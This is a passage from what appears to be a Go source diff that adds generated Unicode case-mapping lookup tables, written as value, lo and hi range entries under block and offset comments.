0x0117, lo: 0xb2, hi: 0xb7}, + {value: 0x0012, lo: 0xb8, hi: 0xb8}, + {value: 0x0316, lo: 0xb9, hi: 0xba}, + {value: 0x0716, lo: 0xbb, hi: 0xbc}, + {value: 0x0316, lo: 0xbd, hi: 0xbe}, + {value: 0x0553, lo: 0xbf, hi: 0xbf}, + // Block 0x3, offset 0x18 + {value: 0x0552, lo: 0x80, hi: 0x80}, + {value: 0x0316, lo: 0x81, hi: 0x82}, + {value: 0x0716, lo: 0x83, hi: 0x84}, + {value: 0x0316, lo: 0x85, hi: 0x86}, + {value: 0x0f16, lo: 0x87, hi: 0x88}, + {value: 0x01da, lo: 0x89, hi: 0x89}, + {value: 0x0117, lo: 0x8a, hi: 0xb7}, + {value: 0x0253, lo: 0xb8, hi: 0xb8}, + {value: 0x0316, lo: 0xb9, hi: 0xba}, + {value: 0x0716, lo: 0xbb, hi: 0xbc}, + {value: 0x0316, lo: 0xbd, hi: 0xbe}, + {value: 0x028a, lo: 0xbf, hi: 0xbf}, + // Block 0x4, offset 0x24 + {value: 0x0117, lo: 0x80, hi: 0x9f}, + {value: 0x2f53, lo: 0xa0, hi: 0xa0}, + {value: 0x0012, lo: 0xa1, hi: 0xa1}, + {value: 0x0117, lo: 0xa2, hi: 0xb3}, + {value: 0x0012, lo: 0xb4, hi: 0xb9}, + {value: 0x090b, lo: 0xba, hi: 0xba}, + {value: 0x0716, lo: 0xbb, hi: 0xbc}, + {value: 0x2953, lo: 0xbd, hi: 0xbd}, + {value: 0x098b, lo: 0xbe, hi: 0xbe}, + {value: 0x0a0a, lo: 0xbf, hi: 0xbf}, + // Block 0x5, offset 0x2e + {value: 0x0015, lo: 0x80, hi: 0x81}, + {value: 0x0014, lo: 0x82, hi: 0x97}, + {value: 0x0004, lo: 0x98, hi: 0x9d}, + {value: 0x0014, lo: 0x9e, hi: 0x9f}, + {value: 0x0015, lo: 0xa0, hi: 0xa4}, + {value: 0x0014, lo: 0xa5, hi: 0xbf}, + // Block 0x6, offset 0x34 + {value: 0x0024, lo: 0x80, hi: 0x94}, + {value: 0x0034, lo: 0x95, hi: 0xbc}, + {value: 0x0024, lo: 0xbd, hi: 0xbf}, + // Block 0x7, offset 0x37 + {value: 0x6553, lo: 0x80, hi: 0x8f}, + {value: 0x2013, lo: 0x90, hi: 0x9f}, + {value: 0x5f53, lo: 0xa0, hi: 0xaf}, + {value: 0x2012, lo: 0xb0, hi: 0xbf}, + // Block 0x8, offset 0x3b + {value: 0x5f52, lo: 0x80, hi: 0x8f}, + {value: 0x6552, lo: 0x90, hi: 0x9f}, + {value: 0x0117, lo: 0xa0, hi: 0xbf}, + // Block 0x9, offset 0x3e + {value: 0x0117, lo: 0x80, hi: 0x81}, + {value: 0x0024, lo: 0x83, hi: 0x87}, + {value: 0x0014, lo: 0x88, hi: 0x89}, + {value: 0x0117, lo: 0x8a, hi: 0xbf}, + // Block 0xa, offset 0x42 + {value: 0x0f13, lo: 0x80, hi: 0x80}, + {value: 0x0316, lo: 0x81, hi: 0x82}, + {value: 0x0716, lo: 0x83, hi: 0x84}, + {value: 0x0316, lo: 0x85, hi: 0x86}, + {value: 0x0f16, lo: 0x87, hi: 0x88}, + {value: 0x0316, lo: 0x89, hi: 0x8a}, + {value: 0x0716, lo: 0x8b, hi: 0x8c}, + {value: 0x0316, lo: 0x8d, hi: 0x8e}, + {value: 0x0f12, lo: 0x8f, hi: 0x8f}, + {value: 0x0117, lo: 0x90, hi: 0xbf}, + // Block 0xb, offset 0x4c + {value: 0x0117, lo: 0x80, hi: 0xaf}, + {value: 0x6553, lo: 0xb1, hi: 0xbf}, + // Block 0xc, offset 0x4e + {value: 0x3013, lo: 0x80, hi: 0x8f}, + {value: 0x6853, lo: 0x90, hi: 0x96}, + {value: 0x0014, lo: 0x99, hi: 0x99}, + {value: 0x0010, lo: 0x9a, hi: 0x9c}, + {value: 0x0010, lo: 0x9e, hi: 0x9e}, + {value: 0x0054, lo: 0x9f, hi: 0x9f}, + {value: 0x0012, lo: 0xa0, hi: 0xa0}, + {value: 0x6552, lo: 0xa1, hi: 0xaf}, + {value: 0x3012, lo: 0xb0, hi: 0xbf}, + // Block 0xd, offset 0x57 + {value: 0x0034, lo: 0x81, hi: 0x82}, + {value: 0x0024, lo: 0x84, hi: 0x84}, + {value: 0x0034, lo: 0x85, hi: 0x85}, + {value: 0x0034, lo: 0x87, hi: 0x87}, + {value: 0x0010, lo: 0x90, hi: 0xaa}, + {value: 0x0010, lo: 0xaf, hi: 0xb3}, + {value: 0x0054, lo: 0xb4, hi: 0xb4}, + // Block 0xe, offset 0x5e + {value: 0x0014, lo: 0x80, hi: 0x85}, + {value: 0x0024, lo: 0x90, hi: 0x97}, + {value: 0x0034, lo: 0x98, hi: 0x9a}, + {value: 0x0014, lo: 0x9c, hi: 0x9c}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0xf, offset 0x63 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x8a}, + {value: 0x0034, lo: 0x8b, hi: 0x92}, + {value: 0x0024, lo: 0x93, hi: 0x94}, + {value: 0x0034, lo: 0x95, hi: 0x96}, + {value: 0x0024, lo: 0x97, hi: 0x9b}, + {value: 0x0034, lo: 0x9c, hi: 0x9c}, + {value: 0x0024, lo: 0x9d, hi: 0x9e}, + {value: 0x0034, lo: 0x9f, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + {value: 0x0010, lo: 0xab, hi: 0xab}, + {value: 0x0010, lo: 0xae, hi: 0xaf}, + {value: 0x0034, lo: 0xb0, hi: 0xb0}, + {value: 0x0010, lo: 0xb1, hi: 0xbf}, + // Block 0x10, offset 0x71 + {value: 0x0010, lo: 0x80, hi: 0xbf}, + // Block 0x11, offset 0x72 + {value: 0x0010, lo: 0x80, hi: 0x93}, + {value: 0x0010, lo: 0x95, hi: 0x95}, + {value: 0x0024, lo: 0x96, hi: 0x9c}, + {value: 0x0014, lo: 0x9d, hi: 0x9d}, + {value: 0x0024, lo: 0x9f, hi: 0xa2}, + {value: 0x0034, lo: 0xa3, hi: 0xa3}, + {value: 0x0024, lo: 0xa4, hi: 0xa4}, + {value: 0x0014, lo: 0xa5, hi: 0xa6}, + {value: 0x0024, lo: 0xa7, hi: 0xa8}, + {value: 0x0034, lo: 0xaa, hi: 0xaa}, + {value: 0x0024, lo: 0xab, hi: 0xac}, + {value: 0x0034, lo: 0xad, hi: 0xad}, + {value: 0x0010, lo: 0xae, hi: 0xbc}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0x12, offset 0x80 + {value: 0x0014, lo: 0x8f, hi: 0x8f}, + {value: 0x0010, lo: 0x90, hi: 0x90}, + {value: 0x0034, lo: 0x91, hi: 0x91}, + {value: 0x0010, lo: 0x92, hi: 0xaf}, + {value: 0x0024, lo: 0xb0, hi: 0xb0}, + {value: 0x0034, lo: 0xb1, hi: 0xb1}, + {value: 0x0024, lo: 0xb2, hi: 0xb3}, + {value: 0x0034, lo: 0xb4, hi: 0xb4}, + {value: 0x0024, lo: 0xb5, hi: 0xb6}, + {value: 0x0034, lo: 0xb7, hi: 0xb9}, + {value: 0x0024, lo: 0xba, hi: 0xba}, + {value: 0x0034, lo: 0xbb, hi: 0xbc}, + {value: 0x0024, lo: 0xbd, hi: 0xbd}, + {value: 0x0034, lo: 0xbe, hi: 0xbe}, + {value: 0x0024, lo: 0xbf, hi: 0xbf}, + // Block 0x13, offset 0x8f + {value: 0x0024, lo: 0x80, hi: 0x81}, + {value: 0x0034, lo: 0x82, hi: 0x82}, + {value: 0x0024, lo: 0x83, hi: 0x83}, + {value: 0x0034, lo: 0x84, hi: 0x84}, + {value: 0x0024, lo: 0x85, hi: 0x85}, + {value: 0x0034, lo: 0x86, hi: 0x86}, + {value: 0x0024, lo: 0x87, hi: 0x87}, + {value: 0x0034, lo: 0x88, hi: 0x88}, + {value: 0x0024, lo: 0x89, hi: 0x8a}, + {value: 0x0010, lo: 0x8d, hi: 0xbf}, + // Block 0x14, offset 0x99 + {value: 0x0010, lo: 0x80, hi: 0xa5}, + {value: 0x0014, lo: 0xa6, hi: 0xb0}, + {value: 0x0010, lo: 0xb1, hi: 0xb1}, + // Block 0x15, offset 0x9c + {value: 0x0010, lo: 0x80, hi: 0xaa}, + {value: 0x0024, lo: 0xab, hi: 0xb1}, + {value: 0x0034, lo: 0xb2, hi: 0xb2}, + {value: 0x0024, lo: 0xb3, hi: 0xb3}, + {value: 0x0014, lo: 0xb4, hi: 0xb5}, + {value: 0x0014, lo: 0xba, hi: 0xba}, + {value: 0x0034, lo: 0xbd, hi: 0xbd}, + // Block 0x16, offset 0xa3 + {value: 0x0010, lo: 0x80, hi: 0x95}, + {value: 0x0024, lo: 0x96, hi: 0x99}, + {value: 0x0014, lo: 0x9a, hi: 0x9a}, + {value: 0x0024, lo: 0x9b, hi: 0xa3}, + {value: 0x0014, lo: 0xa4, hi: 0xa4}, + {value: 0x0024, lo: 0xa5, hi: 0xa7}, + {value: 0x0014, lo: 0xa8, hi: 0xa8}, + {value: 0x0024, lo: 0xa9, hi: 0xad}, + // Block 0x17, offset 0xab + {value: 0x0010, lo: 0x80, hi: 0x98}, + {value: 0x0034, lo: 0x99, hi: 0x9b}, + {value: 0x0010, lo: 0xa0, hi: 0xaa}, + {value: 0x0010, lo: 0xb0, hi: 0xbf}, + // Block 0x18, offset 0xaf + {value: 0x0010, lo: 0x80, hi: 0x87}, + {value: 0x0004, lo: 0x88, hi: 0x88}, + {value: 0x0010, lo: 0x89, hi: 0x8e}, + {value: 0x0014, lo: 0x90, hi: 0x91}, + {value: 0x0024, lo: 0x98, hi: 0x98}, + {value: 0x0034, lo: 0x99, hi: 0x9b}, + {value: 0x0024, lo: 0x9c, hi: 0x9f}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x19, offset 0xb7 + {value: 0x0014, lo: 0x80, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0xb9}, + {value: 0x0014, lo: 0xba, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbb}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x1a, offset 0xbd + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x88}, + {value: 0x0010, lo: 0x89, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x8e, hi: 0x90}, + {value: 0x0024, lo: 0x91, hi: 0x91}, + {value: 0x0034, lo: 0x92, hi: 0x92}, + {value: 0x0024, lo: 0x93, hi: 0x94}, + {value: 0x0014, lo: 0x95, hi: 0x97}, + {value: 0x0010, lo: 0x98, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0014, lo: 0xb1, hi: 0xb1}, + {value: 0x0010, lo: 0xb2, hi: 0xbf}, + // Block 0x1b, offset 0xcb + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x8f, hi: 0x90}, + {value: 0x0010, lo: 0x93, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb2}, + {value: 0x0010, lo: 0xb6, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x1c, offset 0xd6 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x84}, + {value: 0x0010, lo: 0x87, hi: 0x88}, + {value: 0x0010, lo: 0x8b, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x8e, hi: 0x8e}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0010, lo: 0x9c, hi: 0x9d}, + {value: 0x0010, lo: 0x9f, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xb1}, + {value: 0x0010, lo: 0xbc, hi: 0xbc}, + {value: 0x0024, lo: 0xbe, hi: 0xbe}, + // Block 0x1d, offset 0xe3 + {value: 0x0014, lo: 0x81, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8a}, + {value: 0x0010, lo: 0x8f, hi: 0x90}, + {value: 0x0010, lo: 0x93, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + {value: 0x0010, lo: 0xb5, hi: 0xb6}, + {value: 0x0010, lo: 0xb8, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0x1e, offset 0xee + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x82}, + {value: 0x0014, lo: 0x87, hi: 0x88}, + {value: 0x0014, lo: 0x8b, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0014, lo: 0x91, hi: 0x91}, + {value: 0x0010, lo: 0x99, hi: 0x9c}, + {value: 0x0010, lo: 0x9e, hi: 0x9e}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0014, lo: 0xb0, hi: 0xb1}, + {value: 0x0010, lo: 0xb2, hi: 0xb4}, + {value: 0x0014, lo: 0xb5, hi: 0xb5}, + // Block 0x1f, offset 0xfa + {value: 0x0014, lo: 0x81, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8d}, + {value: 0x0010, lo: 0x8f, hi: 0x91}, + {value: 0x0010, lo: 0x93, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + {value: 0x0010, lo: 0xb5, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x20, offset 0x104 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x85}, + {value: 0x0014, lo: 0x87, hi: 0x88}, + {value: 0x0010, lo: 0x89, hi: 0x89}, + {value: 0x0010, lo: 0x8b, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x90}, + {value: 0x0010, lo: 0xa0, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0010, lo: 0xb9, hi: 0xb9}, + {value: 0x0014, lo: 0xba, hi: 0xbf}, + // Block 0x21, offset 0x110 + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x8f, hi: 0x90}, + {value: 0x0010, lo: 0x93, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + {value: 0x0010, lo: 0xb5, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbe}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0x22, offset 0x11b + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x84}, + {value: 0x0010, lo: 0x87, hi: 0x88}, + {value: 0x0010, lo: 0x8b, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0014, lo: 0x95, hi: 0x96}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0010, lo: 0x9c, hi: 0x9d}, + {value: 0x0010, lo: 0x9f, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0010, lo: 0xb1, hi: 0xb1}, + // Block 0x23, offset 0x127 + {value: 0x0014, lo: 0x82, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8a}, + {value: 0x0010, lo: 0x8e, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0x95}, + {value: 0x0010, lo: 0x99, hi: 0x9a}, + {value: 0x0010, lo: 0x9c, hi: 0x9c}, + {value: 0x0010, lo: 0x9e, hi: 0x9f}, + {value: 0x0010, lo: 0xa3, hi: 0xa4}, + {value: 0x0010, lo: 0xa8, hi: 0xaa}, + {value: 0x0010, lo: 0xae, hi: 0xb9}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0x24, offset 0x133 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x82}, + {value: 0x0010, lo: 0x86, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x90}, + {value: 0x0010, lo: 0x97, hi: 0x97}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + // Block 0x25, offset 0x13b + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x83}, + {value: 0x0014, lo: 0x84, hi: 0x84}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x8e, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbd}, + {value: 0x0014, lo: 0xbe, hi: 0xbf}, + // Block 0x26, offset 0x145 + {value: 0x0014, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x81, hi: 0x84}, + {value: 0x0014, lo: 0x86, hi: 0x88}, + {value: 0x0014, lo: 0x8a, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0034, lo: 0x95, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0x9a}, + {value: 0x0010, lo: 0x9d, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + // Block 0x27, offset 0x150 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x8c}, + {value: 0x0010, lo: 0x8e, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0xa8}, + {value: 0x0010, lo: 0xaa, hi: 0xb3}, + {value: 0x0010, lo: 0xb5, hi: 0xb9}, + {value: 0x0034, lo: 0xbc, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbe}, + {value: 0x0014, lo: 0xbf, hi: 0xbf}, + // Block 0x28, offset 0x15b + {value: 0x0010, lo: 0x80, hi: 0x84}, + {value: 0x0014, lo: 0x86, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x95, hi: 0x96}, + {value: 0x0010, lo: 0x9d, hi: 0x9e}, + {value: 0x0010, lo: 0xa0, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0010, lo: 0xb1, hi: 0xb3}, + // Block 0x29, offset 0x167 + {value: 0x0014, lo: 0x80, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x8c}, + {value: 0x0010, lo: 0x8e, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0xba}, + {value: 0x0034, lo: 0xbb, hi: 0xbc}, + {value: 0x0010, lo: 0xbd, hi: 0xbf}, + // Block 0x2a, offset 0x16d + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x84}, + {value: 0x0010, lo: 0x86, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x8e, hi: 0x8e}, + {value: 0x0010, lo: 0x94, hi: 0x97}, + {value: 0x0010, lo: 0x9f, hi: 0xa1}, + {value: 0x0014, lo: 0xa2, hi: 0xa3}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0010, lo: 0xba, hi: 0xbf}, + // Block 0x2b, offset 0x178 + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0010, lo: 0x82, hi: 0x83}, + {value: 0x0010, lo: 0x85, hi: 0x96}, + {value: 0x0010, lo: 0x9a, hi: 0xb1}, + {value: 0x0010, lo: 0xb3, hi: 0xbb}, + {value: 0x0010, lo: 0xbd, hi: 0xbd}, + // Block 0x2c, offset 0x17e + {value: 0x0010, lo: 0x80, hi: 0x86}, + {value: 0x0034, lo: 0x8a, hi: 0x8a}, + {value: 0x0010, lo: 0x8f, hi: 0x91}, + {value: 0x0014, lo: 0x92, hi: 0x94}, + {value: 0x0014, lo: 0x96, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0x9f}, + {value: 0x0010, lo: 0xa6, hi: 0xaf}, + {value: 0x0010, lo: 0xb2, hi: 0xb3}, + // Block 0x2d, offset 0x186 + {value: 0x0014, lo: 0xb1, hi: 0xb1}, + {value: 0x0014, lo: 0xb4, hi: 0xb7}, + {value: 0x0034, lo: 0xb8, hi: 0xba}, + // Block 0x2e, offset 0x189 + {value: 0x0004, lo: 0x86, hi: 0x86}, + {value: 0x0014, lo: 0x87, hi: 0x87}, + {value: 0x0034, lo: 0x88, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8e}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0x2f, offset 0x18e + {value: 0x0014, lo: 0xb1, hi: 0xb1}, + {value: 0x0014, lo: 0xb4, hi: 0xb7}, + {value: 0x0034, lo: 0xb8, hi: 0xba}, + {value: 0x0014, lo: 0xbb, hi: 0xbc}, + // Block 0x30, offset 0x192 + {value: 0x0004, lo: 0x86, hi: 0x86}, + {value: 0x0034, lo: 0x88, hi: 0x8b}, + {value: 0x0014, lo: 0x8c, hi: 0x8e}, + {value: 0x0010, lo: 0x90, hi: 0x99}, + // Block 0x31, offset 0x196 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0034, lo: 0x98, hi: 0x99}, + {value: 0x0010, lo: 0xa0, hi: 0xa9}, + {value: 0x0034, lo: 0xb5, hi: 0xb5}, + {value: 0x0034, lo: 0xb7, hi: 0xb7}, + {value: 0x0034, lo: 0xb9, hi: 0xb9}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0x32, offset 0x19d + {value: 0x0010, lo: 0x80, hi: 0x87}, + {value: 0x0010, lo: 0x89, hi: 0xac}, + {value: 0x0034, lo: 0xb1, hi: 0xb2}, + {value: 0x0014, lo: 0xb3, hi: 0xb3}, + {value: 0x0034, lo: 0xb4, hi: 0xb4}, + {value: 0x0014, lo: 0xb5, hi: 0xb9}, + {value: 0x0034, lo: 0xba, hi: 0xbd}, + {value: 0x0014, lo: 0xbe, hi: 0xbe}, + {value: 0x0010, lo: 0xbf, hi: 0xbf}, + // Block 0x33, offset 0x1a6 + {value: 0x0034, lo: 0x80, hi: 0x80}, + {value: 0x0014, lo: 0x81, hi: 0x81}, + {value: 0x0024, lo: 0x82, hi: 0x83}, + {value: 0x0034, lo: 0x84, hi: 0x84}, + {value: 0x0024, lo: 0x86, hi: 0x87}, + {value: 0x0010, lo: 0x88, hi: 0x8c}, + {value: 0x0014, lo: 0x8d, hi: 0x97}, + {value: 0x0014, lo: 0x99, hi: 0xbc}, + // Block 0x34, offset 0x1ae + {value: 0x0034, lo: 0x86, hi: 0x86}, + // Block 0x35, offset 0x1af + {value: 0x0010, lo: 0xab, hi: 0xac}, + {value: 0x0014, lo: 0xad, hi: 0xb0}, + {value: 0x0010, lo: 0xb1, hi: 0xb1}, + {value: 0x0014, lo: 0xb2, hi: 0xb6}, + {value: 0x0034, lo: 0xb7, hi: 0xb7}, + {value: 0x0010, lo: 0xb8, hi: 0xb8}, + {value: 0x0034, lo: 0xb9, hi: 0xba}, + {value: 0x0010, lo: 0xbb, hi: 0xbc}, + {value: 0x0014, lo: 0xbd, hi: 0xbe}, + // Block 0x36, offset 0x1b8 + {value: 0x0010, lo: 0x80, hi: 0x89}, + {value: 0x0010, lo: 0x96, hi: 0x97}, + {value: 0x0014, lo: 0x98, hi: 0x99}, + {value: 0x0014, lo: 0x9e, hi: 0xa0}, + {value: 0x0010, lo: 0xa2, hi: 0xa4}, + {value: 0x0010, lo: 0xa7, hi: 0xad}, + {value: 0x0014, lo: 0xb1, hi: 0xb4}, + // Block 0x37, offset 0x1bf + {value: 0x0014, lo: 0x82, hi: 0x82}, + {value: 0x0010, lo: 0x83, hi: 0x84}, + {value: 0x0014, lo: 0x85, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0x8c}, + {value: 0x0034, lo: 0x8d, hi: 0x8d}, + {value: 0x0010, lo: 0x8f, hi: 0x9c}, + {value: 0x0014, lo: 0x9d, hi: 0x9d}, + {value: 0x6c53, lo: 0xa0, hi: 0xbf}, + // Block 0x38, offset 0x1c7 + {value: 0x0010, lo: 0x80, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0x98}, + {value: 0x0010, lo: 0x9a, hi: 0x9d}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x39, offset 0x1cd + {value: 0x0010, lo: 0x80, hi: 0x88}, + {value: 0x0010, lo: 0x8a, hi: 0x8d}, + {value: 0x0010, lo: 0x90, hi: 0xb0}, + {value: 0x0010, lo: 0xb2, hi: 0xb5}, + {value: 0x0010, lo: 0xb8, hi: 0xbe}, + // Block 0x3a, offset 0x1d2 + {value: 0x0010, lo: 0x80, hi: 0x80}, + {value: 0x0010, lo: 0x82, hi: 0x85}, + {value: 0x0010, lo: 0x88, hi: 0x96}, + {value: 0x0010, lo: 0x98, hi: 0xbf}, + // Block 0x3b, offset 0x1d6 + {value: 0x0010, lo: 0x80, hi: 0x90}, + {value: 0x0010, lo: 0x92, hi: 0x95}, + {value: 0x0010, lo: 0x98, hi: 0xbf}, + // Block 0x3c, offset 0x1d9 + {value: 0x0010, lo: 0x80, hi: 0x9a}, + {value: 0x0024, lo: 0x9d, hi: 0x9f}, + // Block 0x3d, offset 0x1db + {value: 0x0010, lo: 0x80, hi: 0x8f}, + {value: 0x7453, lo: 0xa0, hi: 0xaf}, + {value: 0x7853, lo: 0xb0, hi: 0xbf}, + // Block 0x3e, offset 0x1de + {value: 0x7c53, lo: 0x80, hi: 0x8f}, + {value: 0x8053, lo: 0x90, hi: 0x9f}, + {value: 0x7c53, lo: 0xa0, hi: 0xaf}, + {value: 0x0813, lo: 0xb0, hi: 0xb5}, + {value: 0x0892, lo: 0xb8, hi: 0xbd}, + // Block 0x3f, offset 0x1e3 + {value: 0x0010, lo: 0x81, hi: 0xbf}, + // Block 0x40, offset 0x1e4 + {value: 0x0010, lo: 0x80, hi: 0xac}, + {value: 0x0010, lo: 0xaf, hi: 0xbf}, + // Block 0x41, offset 0x1e6 + {value: 0x0010, lo: 0x81, hi: 0x9a}, + {value: 0x0010, lo: 0xa0, hi: 0xbf}, + // Block 0x42, offset 0x1e8 + {value: 0x0010, lo: 0x80, hi: 0xaa}, + {value: 0x0010, lo: 0xae, hi: 0xb8}, + // Block 0x43, offset 0x1ea + {value: 0x0010, lo: 0x80, hi: 0x91}, + {value: 0x0014, lo: 0x92, hi: 0x93}, + {value: 0x0034, lo: 0x94, hi: 0x94}, + {value: 0x0030, lo: 0x95, hi: 0x95}, + {value: 0x0010, lo: 0x9f, hi: 0xb1}, + {value: 0x0014, lo: 0xb2, hi: 0xb3}, + {value: 0x0030, lo: 0xb4, hi: 0xb4}, + // Block 0x44, offset 0x1f1 + {value: 0x0010, lo: 0x80, hi: 0x91}, + {value: 0x0014, lo: 0x92, hi: 0x93}, + {value: 0x0010, lo: 0xa0, hi: 0xac}, + {value: 0x0010, lo: 0xae, hi: 0xb0}, + {value: 0x0014, lo: 0xb2, hi: 0xb3}, + // Block 0x45, offset 0x1f6 + {value: 0x0014, lo: 0xb4, hi: 0xb5}, + {value: 0x0010, lo: 0xb6, hi: 0xb6}, + {value: 0x0014, lo: 0xb7, hi: 0xbd}, + {value: 0x0010, lo: 0xbe, hi: 0xbf}, + // Block 0x46, offset 0x1fa + {value: 0x0010, lo: 0x80, hi: 0x85}, + {value: 0x0014, lo: 0x86, hi: 0x86}, + {value: 0x0010, lo: 0x87, hi: 0x88}, + {value: 0x0014, lo: 0x89, hi: 0x91}, + {value: 